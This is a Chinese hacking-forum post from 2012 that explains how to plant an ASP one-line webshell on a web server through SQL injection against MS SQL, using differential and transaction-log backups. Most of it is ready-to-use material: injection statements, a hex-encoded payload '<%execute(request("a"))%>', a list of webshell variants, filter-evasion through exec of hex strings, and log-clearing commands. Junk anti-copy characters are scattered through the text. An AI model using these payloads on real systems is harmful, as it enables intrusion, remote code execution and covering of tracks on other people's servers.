中国网络渗透测试联盟

标题: MSsql差异备份总结 [打印本页]

作者: admin    时间: 2012-9-13 17:21
标题: MSsql差异备份总结
差异备份的流程大概这样:2 _6 {1 c0 c7 h
1.完整备份一次(保存位置当然可以改)4 ?3 Q( }7 B5 o6 t6 P& a
backup database 库名 to disk = 'c:\ddd.bak';--
) [* @/ |: d( z! o+ v5 v& [3 A
9 c' x3 v# C# l. a% e2.创建表并插曲入数据$ X8 k  K: E6 ]$ `" W  ^
create table [dbo].[dtest] ([cmd] [image]);
7 k6 G$ \3 z! W, W$ g' x6 binsert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--
1 f" N9 t+ q5 N# k) w% v, S
! x  x) ^2 ^9 o! l) k# B8 ~7 j$ m3.进行差异备份
! o, C6 z* A! e, I+ g* Ibackup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
6 v3 G, O' v! g% e; k! k4 T4 N$ N: @- v8 ?3 J
上面
/ I- f8 F% f; W3 l, S! ^$ _0x3C25657865637574652872657175657374282261222929253E
3 g; R3 m4 ^# g3 L就是一句话木马的内容:<%execute(request("a"))%>
1 ?- J& \- J/ p
) g5 E% @, Y/ G8 i# Z如下是网上常见的差异备份代码,思路一样!! c% j8 R. H( X8 G: J: n
===================================================- Z# [: j/ C+ S9 l& h1 h- z
利用差异备份提高提高backupwebshell的成功率,减少文件大小  ]/ t# @$ ?) h, V
步骤:0 t2 `% G0 [) a' P) M
( p, R2 L" [, S9 Y4 {) g
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s  --备份数据库
9 ?$ w  V! y/ A7 a% N+ [# o6 K
# X1 l" l; ~7 ?! u9 K- o6 fcreate table [dbo].[xiaolu] ([cmd] [image]);  -- 创建一个表
# Q# s" \0 E" X- p/ I1 g
9 w4 t, d' |. [% i9 O1 c4 E& |5 `& O! R  W, D; e
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)  --将一句话木马的16进制字符插入到表中
  y; N6 j; V4 a; ?+ ]5 p- U" v& B+ i+ I9 P7 H
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT  --对数据库实行差异备份  U6 M, v! W8 s! C
  F" O" J% O; ]5 h  |& n
drop table [xiaolu]  -- 删除此表。
7 L9 \6 z7 C# L/ Z4 s; Y
$ O6 o$ L# [5 |& l  Q2 l# s0x77006F006B0061006F002E00620061006B00为wokao.bak# J! a5 T* q# F: [. v
0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>
# @8 v- [; T( [# E. P" V2 f# P( Q" C0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp
+ `. T2 E* v3 R9 C7 P: u' K4 k/ d  ?
声明:方法不是我想的,我只是写工具,默认得到shell是; q/ i: Z+ y% n( \% |
<%execute(request("a"))%>
; z) d6 f" I  p% ?===============================================================
% l4 E9 O/ k" s& ?# [
( D* R/ c6 ~, @/ h! I; p3 r我发现上面代码,有时会无效,而直接用5 `, E0 k9 p# p8 ^0 z
  |9 \9 ?3 S2 u8 B
backup database 库名 to disk = 'c:\ddd.bak'
  G" }  r8 t9 R2 a" T% z. K) n' X
create table [dbo].[dtest] ([cmd] [image]);
& J. U2 n" a- r- ]5 f# P7 C# Z) A5 d' w- o4 e8 ]' g4 U* A
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)% G  i, _! o& B4 W7 F' N
- P0 i( C9 {- [: f2 h. ]% D  C
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
3 m3 _, p$ Z! T1 ~
& r8 k: r5 e6 s/ U1 [: B5 g却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!1 {" d, J1 Q9 c& U
4 ]( t+ }. ^* _
库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 "‘",就要把字符内容转为数值了!; K$ Z) N9 F& Q. o0 `" j3 ~
$ Z  J1 V$ a% x: A
网上还有log增量备份的,我也把他记录一下5 `9 q# r8 ~& o8 u& a
=====================================================
& _1 ?' `; d4 }# c另一种log增量备份技术:. q" t- f8 x- \0 H! b

/ E! W$ p$ l/ l! |' V';alter database null set RECOVERY FULL--2 z" `; j5 ?( A3 ~7 _- S
# {- V* A$ A. O) G8 Y# ]
';create table cmd (a image)--! @. N+ R) a4 w  y
8 m6 {+ F1 n  V
';backup log null to disk = 'f:\cmd' with init--2 _2 M9 G( [# M5 x/ g

) }3 @9 `+ k" O';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--2 H2 E. K, H2 ^4 ?( ~
, b: o  z1 n' B, ]- e1 D/ p+ Y4 J
';backup log null to disk = '备份路径'--
$ |* N' {& H& g, W& A# O5 X6 }" {2 i1 v, a
';drop table cmd--
8 e( |! s, z7 _9 U& R6 M5 I3 c0 w3 G; K
';alter database XXX set RECOVERY SIMPLE--8 ~! b5 n8 e: N4 a" u" O  [
2 A+ ]8 x) b) }; |" _
PS:0x3C2565786563757465287265717565737428226122292
6 L4 f) [+ S* Z! X: k- H9253EDA 是一句话小马16进制转来的
( _4 H6 Y' O; I  g: [( [- s8 s' Y' C# s) H
说到一句话马,还可以有这么几种写法:& z1 b# \1 s' Y: J0 B' G7 l

+ o! p/ @) a7 B9 C6 H* A$ l6 ka)<%%25Execute(request("a"))%%25>* Z7 J3 w" v$ E9 y3 U
b)<%Execute(request("a"))%>9 h  y# l$ {$ w
c)%><%execute request("a")%><%
# e* n# S: t7 L( Y0 Q9 n' Z* Id)<script language=VBScript runat=server>execute request("a")</script>
7 E6 p& Y% ^) b: m- pe)<%25Execute(request("a"))%25>" h$ y0 {% d1 A' Q8 x5 V+ [
f)<%eval(request("a")):response.end%> 备分专用一句话   (也就是插入一句话后所有的代码都无效,在一句话这里打止)
! ^; Q& F) n2 ?$ c, [& ^: jg)"%><%eval (request (chr(309)))%><%'" 网站配置版权信息插马专用一句话
; Z- E0 f! K( j- Nh)<%On Error Resume Next:response.clear:execute request("value"):response.End%>
5 T, v' I) h' `6 p' {& RI)<%eval request(0)%>
( k0 Y7 ^/ c* s. M' |+ KJ)"%><%Eval Request(0)%> 网站配置版权信息插马专用一句话
( l4 q' e$ m# z5 n. @3 U* k* H: W# A, o7 M0 J; N$ \) j& |+ {
============================================= 3 L! j, Z0 ?- T! D

7 L4 f  u5 X! O$ R当遇到差备过滤了/时用这个语句代替
+ n" U# C* e# Y' g' ^1 P$ ~) X! q4 b2 X
$ a2 y; t9 z8 V  Ndeclare @a varchar(1024);set @a=cast(0x65786563206D6D as varchar(1024));exec (@a);--
6 C/ @! v/ J9 g4 k/ d& P9 X  q/ H5 J; t5 Z% p
把要执行的语句转16进制然后用exec执行
3 S2 W* k; e" ?# q; _
: p5 d  Y. `8 V  a  p- H
; c+ q. M$ x6 \& F9 R减少备份文件大小方法如下:
8 W; e4 x+ p" [3 d$ P4 S0 u( Q8 |( I
总的来说就是那么简单几句,下面以备份数据库model为例子1 C8 J4 s" a# j4 Q% @/ ~  s5 v
18 L8 y* X! D# {2 ^; \. n3 F0 C# Z
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')9 B2 [! L0 ?/ F+ a
2
( D9 D$ o" {2 l, y" Tid=1;backup database model to disk='你的路径‘ with differential,format;--
7 @8 l' A. G5 \6 m: @& S/ a% D5 w+ A5 F

$ E6 f# }; @5 L4 \: [
/ d; {0 N2 U2 X; B$ d8 j- NSQL语句清理日志
! y( \5 z* m; Y; R5 Q2 f注:test为数据库名 ( }' ~, g' }7 u0 M1 G. j3 C8 g; [4 b
) ]( Y7 {5 S2 j. T
--清空日志 ; O& f+ }3 O; K: R9 U5 ^
DUMP TRANSACTION test WITH NO_LOG
9 q+ ?* {1 j- A1 s
2 s  f7 z  ~" Y& b( O# x--截断事务日志 + J" E+ q( I( z3 e! F
BACKUP LOG test WITH NO_LOG - C$ ?0 R9 E1 ?8 B7 M9 ?9 c  j
; W4 N, t" v$ S0 n* X- E
--收缩数据库 1 ~3 t8 x7 P+ H' E7 d9 c( G1 E7 l
DBCC SHRINKDATABASE(test)
4 p. Q8 p) N% K5 n
2 n8 K: C$ M( l( h--收缩指定数据文件,1是文件号,可以通过这个语句查询到
9 P; i0 h* [" p; `Select * from sysfiles DBCC SHRINKFILE(1)* n1 A8 L9 D) V3 L. `3 f
- f- a$ p5 Y7 S' ]& o/ N. L
--以后能自动收缩
2 z& }( P8 a  Y+ y7 aEXEC sp_dboption 'test', 'autoshrink', 'TRUE'




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2